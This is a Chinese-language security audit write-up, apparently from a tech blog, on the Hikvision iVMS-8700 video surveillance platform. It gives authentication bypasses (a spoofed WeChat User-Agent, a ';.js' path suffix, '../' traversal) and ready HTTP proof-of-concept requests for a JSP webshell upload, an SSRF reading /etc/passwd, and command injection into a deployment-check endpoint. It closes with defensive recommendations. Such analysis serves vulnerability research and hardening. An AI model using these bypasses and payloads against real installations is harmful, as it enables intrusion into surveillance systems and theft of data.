news 2026/9/26 11:33:30

海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析

海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析

在当今数字化时代,视频监控系统已成为企业安全防护的重要组成部分。作为行业领先的安防解决方案提供商,海康威视的iVMS-8700平台广泛应用于各类场景。然而,随着系统复杂度的提升,其安全性也面临着严峻挑战。本文将深入剖析该平台的架构设计与安全机制,并提供一系列实战验证的漏洞利用方法。

1. iVMS-8700系统架构深度解析

iVMS-8700采用模块化设计理念,每个功能模块都以独立的WAR包形式部署。这种架构设计虽然提高了系统的灵活性和可维护性,但也带来了特定的安全考量。

以EPS模块为例,其典型目录结构如下:

eps ├─views ├─index.jsp └─WEB-INF ├─services ├─EpsService ├─META-INF ├─ServiceData.xml ├─services.xml ├─web.xml ├─lib └─classes ├─com ├─i18n ├─springbeans ├─springmvc-servlet.xml ├─securityConfig.xml

系统基于Spring框架构建,路由机制主要通过web.xml配置实现。关键路由模式包括:

  • 以.action结尾的请求
  • 以/api/开头的请求

路由处理由Spring的DispatcherServlet负责,配置示例如下:

<servlet> <servlet-name>springmvc</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath*:springmvc-servlet.xml</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>springmvc</servlet-name> <url-pattern>*.action</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>springmvc</servlet-name> <url-pattern>/api/*</url-pattern> </servlet-mapping>

2. 认证绕过技术深度剖析

系统采用多层安全过滤机制,但存在多处可被绕过的设计缺陷。我们将重点分析三种典型的绕过方式。

2.1 User-Agent伪造绕过

在EPS模块中,ExtAuthenticationFilter负责验证.action请求。其验证逻辑包含四个关键检查点:

  1. checkInvalidTicket返回值必须为false(不传入ticket参数)
  2. requestUrlIsLoginWithoutServiceParameters返回值必须为false(不传入service参数)
  3. 请求参数不能包含WEB-INF
  4. requestUrlNoNeedFilter为true,或HttpRequestUtils.requestComeFromWeChatClient返回true

其中第四点尤为关键,相关代码如下:

public static boolean requestComeFromWeChatClient(HttpServletRequest request) { String userAgent = request.getHeader("User-Agent"); return userAgent != null && userAgent.contains("MicroMessenger"); }

绕过方法:只需在请求头中添加User-Agent: MicroMessenger即可绕过认证。

2.2 特殊字符绕过技术

CENTER模块采用双重拦截器机制:

  • LoginInterceptor:处理登录验证
  • PermissionInterceptor:处理权限验证

关键发现:

  • 以/api/开头的路径不进行登录校验
  • Tomcat支持的特殊字符(如;)可被利用

实战技巧:通过添加;.js后缀可绕过验证,例如:

/center/api/files;.js

2.3 路径遍历绕过

SVM模块使用HikAuthenticationFilter进行CAS认证,其核心逻辑如下:

if (this.isRequestUrlExcluded(request)) { filterChain.doFilter(request, response); }

绕过条件取决于isRequestUrlExcluded方法的返回值。系统从cas-client.properties加载白名单路径:

cas.ignore.pattern=/login,/api/v1/productFile,/api/v1/heartbeat*,...

对于非白名单路径,可采用../进行路径遍历绕过。

3. 历史漏洞复现与利用

下表总结了iVMS-8700各模块存在的主要漏洞类型:

模块漏洞类型影响路由
EPS文件上传/eps/api/resourceOperations/upload
EPSSSRF/eps/api/triggerSnapshot/download
CENTER文件上传/center/api/files;.js
CENTER远程代码执行/center/api/installation/detection
CENTERFastjson反序列化/center/api/session
SVM文件上传/svm/api/external/report
MSP文件上传/msp/home/upload.action
BICFastjson反序列化/bic/ssoService/v1/keepAlive

3.1 文件上传漏洞实战

以EPS模块为例,文件上传漏洞位于ResourceOperationAction类的uploadAttachment方法。关键利用要点:

  1. 请求必须使用multipart/form-data格式
  2. 文件字段名必须为fileUploader
  3. 成功上传后会返回资源UUID

示例POC:

POST /eps/resourceOperations/upload.action HTTP/1.1 Host: target.com User-Agent: MicroMessenger Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7HE80p4aaByyX1zc ------WebKitFormBoundary7HE80p4aaByyX1zc Content-Disposition: form-data; name="fileUploader"; filename="shell.jsp" <% 恶意代码 %> ------WebKitFormBoundary7HE80p4aaByyX1zc--

3.2 SSRF漏洞利用

EPS模块的downloadTriggerSnapshot方法存在SSRF漏洞:

URL url = new URL(fileUrl); InputStream is = url.openStream();

利用方式:

  • 使用file://协议读取本地文件
  • 利用http://探测内网服务

示例POC:

GET /eps/triggerSnapshot/download.action?fileUrl=file:///etc/passwd HTTP/1.1

3.3 远程代码执行漏洞

CENTER模块的部署检测功能存在命令注入漏洞。关键代码:

String command = convertExecuteCommand(machine.getId()); executeCommandReceiveResult(command);

利用步骤:

  1. 构造type为"environment"的JSON请求
  2. 在machines.id参数中注入命令
  3. 命令执行结果会写入指定文件

示例POC:

POST /center/api/installation/detection HTTP/1.1 Content-Type: application/json { "type":"environment", "operate":"", "machines":{ "id":"$(id > /tmp/result.txt)" } }

4. 防御建议与最佳实践

针对发现的漏洞,我们建议采取以下防护措施:

  1. 输入验证强化:

    • 对所有用户输入进行严格校验
    • 实现白名单机制的参数过滤
    • 对特殊字符进行转义处理
  2. 认证机制加固:

    • 实现统一的认证入口点
    • 避免依赖客户端提供的元信息(如User-Agent)
    • 对敏感操作实施多因素认证
  3. 安全配置优化:

    • 禁用不必要的HTTP方法
    • 限制文件上传类型和存储位置
    • 及时更新第三方库版本
  4. 监控与响应:

    • 部署WAF防护关键接口
    • 建立异常请求监控机制
    • 制定漏洞应急响应预案

在实际测试过程中,发现不同模块对相同漏洞的防护水平存在差异,这提示我们在系统开发中应建立统一的安全标准和代码审查流程。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/23 9:40:54

模型蒸馏避坑指南:用Gemma2方案教你训练效果翻倍的小模型

模型蒸馏实战进阶&#xff1a;基于Gemma2方案的高效小模型训练方法论 在移动端部署和隐私敏感场景中&#xff0c;7B以下小模型的需求正呈爆发式增长。但工程师们常陷入两难&#xff1a;既要保证模型轻量化&#xff0c;又要追求接近大模型的效果表现。Google最新开源的Gemma2方案…

作者头像 李华
网站建设 2026/8/23 9:40:54

STM32双区远程升级系统设计与实现

1. STM32远程升级系统设计与实现原理嵌入式设备在工业现场、物联网终端及消费类电子产品中部署后&#xff0c;常面临功能迭代、缺陷修复和安全补丁等持续维护需求。传统通过J-Link或ST-Link等调试器进行固件更新的方式&#xff0c;受限于物理访问条件&#xff0c;在远程、分布式…

作者头像 李华
网站建设 2026/8/23 9:40:54

Qwen3.5-9B长文档理解:PDF解析+关键信息抽取+摘要生成端到端部署

Qwen3.5-9B长文档理解&#xff1a;PDF解析关键信息抽取摘要生成端到端部署 1. 项目概述与核心价值 Qwen3.5-9B是阿里云推出的新一代多模态大语言模型&#xff0c;特别针对长文档处理场景进行了优化。本文将带您从零开始部署一个完整的端到端解决方案&#xff0c;实现PDF文档解…

作者头像 李华